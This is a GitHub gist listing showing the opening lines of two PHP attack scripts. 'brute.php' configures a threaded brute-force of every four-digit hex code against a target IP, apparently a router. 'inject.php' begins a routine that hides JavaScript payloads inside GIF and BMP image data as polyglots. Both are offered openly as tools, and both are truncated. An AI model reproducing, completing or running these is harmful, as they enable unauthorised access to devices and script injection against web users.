Skip to content

Instantly share code, notes, and snippets.

@mokhdzanifaeq
mokhdzanifaeq / brute.php
Last active November 13, 2015 09:12
bruteforce tm riger
<?php
$ip = 'x.x.x.x';
$thread = 15;
$timeout = 10;
$proxy = false;
$start = 0x0;
$retry = 3;
$hex = array_map(function ($x) { return sprintf('%04X', $x); }, range($start, 0xffff) );
@mokhdzanifaeq
mokhdzanifaeq / inject.php
Last active February 20, 2022 00:06
inject javascript into images (BMP,JPG,GIF)
<?php
//GIF && BMP
function GNB($data, $payload, $pos) {
$data = str_replace(['2f2a', '2a2f'], '0000', $data);
$data = substr_replace($data, '2f2a', $pos, 4);
$data .= array_shift( unpack('H*', '*/=1;' . $payload) );